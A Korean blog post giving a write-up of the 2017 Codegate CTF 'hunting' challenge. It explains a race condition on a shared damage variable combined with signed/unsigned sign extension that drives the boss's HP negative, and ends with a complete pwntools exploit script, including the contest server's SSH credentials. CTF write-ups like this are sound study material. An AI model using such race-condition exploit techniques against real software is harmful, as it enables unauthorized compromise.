튜기's blogggg

2017 codegate hunting

by St1tch



이 문제를 대회 중에는 풀다가 3->4로 레벨업 하는 순간에 레이스컨디션을 이용해서 다른 쓰레드로 플래그를 읽는거에 집중했었는데

대회 끝나고 바이너리를 다시보니 플래그 읽는 함수이후에 레벨이 증가하기때문에 애초에 불가능한 방법이였다.ㄷㄷ 

다른곳을 좀 더 봤어야했는데, 그 당시에는 단순하게 생각한 것 같다.


문제를 살펴보면, 이 함수에서 만약 boss의 hp가 0이하이면서, 레벨이 3이상이면 flag가 출력이 되게끔 되있다.

로컬문제이므로 seed를 맞춘다음에 레벨을 4까지 올리는것은 쉽다.

그 다음이 문제인데 정상적인 방법으로 boss의 hp를 음수로 만들수가 없다.



이 부분에서 보면 i가 4이하일때는 signed로 boss의 hp를 깍고,

5이상이면 unsigned로 boss의 hp를 깍는다.




이건 스킬들의 데미지를 정의해놓은 함수들인데 두개의 함수만 sleep(1)이 걸려있다.

멀티쓰레드를 이용해서 이 부분에 들어오기 때문에, 

이 함수들을 이용할 때에는, 다른 쓰레드에서 같은 공유변수를 참조 할 가능성이 있고, 따라서 레이스컨디션이 발생할 수 있다.


이를 이용해서 스킬데미지(공유변수)를 다른쓰레드에서 바꾸고, 바뀐 데미지를 참조해서 boss의 hp를 음수로 만들 수 있다.



fireball은 데미지가 100이하의 랜덤한 숫자이다.



icesword는 데미지가 0xffffffff이다.


여기서 icesword스킬은 선택할 때의 번호가 7번이기 때문에

정상적으로 스킬을 사용하면 unsigned로 계산된다.


하지만 여기서 레이스컨디션이 발생해서 fireball을 사용할 때, 데미지가 0xffffffff면 상황이 달라진다.

fireball은 선택할 때의 번호가 2번이기 때문에 signed로 계산이 된다.




 0xffffffff은 cdqe명령어로 인해 0xffffffffffffffff이 된다.

마지막boss의 hp가 0x7ffffffffffffffe 이기 때문에, -1을 빼게되면 0x7fffffffffffffff가 되고 

여기서 -1을 한번 더 빼면 0x8000000000000000 이 되기 때문에 플래그가 출력될 수 있는 상황이 만들어진다. 



위의 시나리오가 되기 위한 과정은 

1. 레벨4가 되어야한다.

2. fireball을 선택하여 사용하고, 1초 sleep이 걸린다.

3. fireball의 1초 sleep동안 icesword스킬을 선택하여 사용한다.

4. icesword의 데미지가 fireball의 1초 sleep이 끝나기 전에 데미지가 저장된 공유변수에 저장된다.

5. fireball이 사용되고 보스의 hp가 0x7fffffffffffffff가 된다.

6. icesword의 쓰레드가 끝날때까지 1,2초 정도 기다렸다가 2-4과정을 한번 더 한다.

7. fireball이 사용되고 보스의 hp가 0x8000000000000000이 되어 flag가 출력된다.


대회 때, 짜놓은 코드를 조금 수정해서 로컬에서 플래그를 읽을 수 있었다.


from pwn import *
import ctypes

context.log_level = 'info'

def test(fd):
    print util.proc.pidof(fd)
    pause()

def shield(libc):
    value = libc.rand() & 3
    if value == 1:
        return 3
    elif value == 2 :
        return 2
    else:
        return 1

def solver() :
    level = 1
    for _ in range(82):
        s.recvuntil('Exit')
        s.sendline('2')
        dat = s.recvuntil('=\n')
        s.sendline(str(shield(libc)))
        s.recvuntil('HP is ')
        hp = int(s.recvline().strip())
        if 'Win!' in dat:
            level = int(dat.split('level:')[1][0])
            print 'level {} up!!!!'.format(level)

    [libc.rand() for _ in range(4)]
    s.sendline('\n'.join(['3','2','2',str(shield(libc))]))
    s.sendline('\n'.join(['3','7','2',str(shield(libc))]))
    sleep(2)
    [libc.rand() for _ in range(4)]
    s.sendline('\n'.join(['3','2','2',str(shield(libc))]))
    s.sendline('\n'.join(['3','7','2',str(shield(libc))]))

    s.interactive()

if __name__ == '__main__' :
    libc = ctypes.CDLL('libc.so.6')
    seed = int(time.time())

    local = True
    if local:
        s = process('./hunting')
        libc.srand(seed)
        test(s)
    else:
        w = ssh('hunting', '110.10.212.133', password='hunting', port=5555)
        s = w.shell('/bin/sh')
        s.sendline('./hunting')
        libc.srand(seed+3)
    solver()




로컬에서 성공.


한번에 안 될수도 있으니, 타이밍이 맞을때까지 여러번 실행시키다 보면 성공한다.







블로그의 정보

튜기's blogg(st1tch)

St1tch

활동하기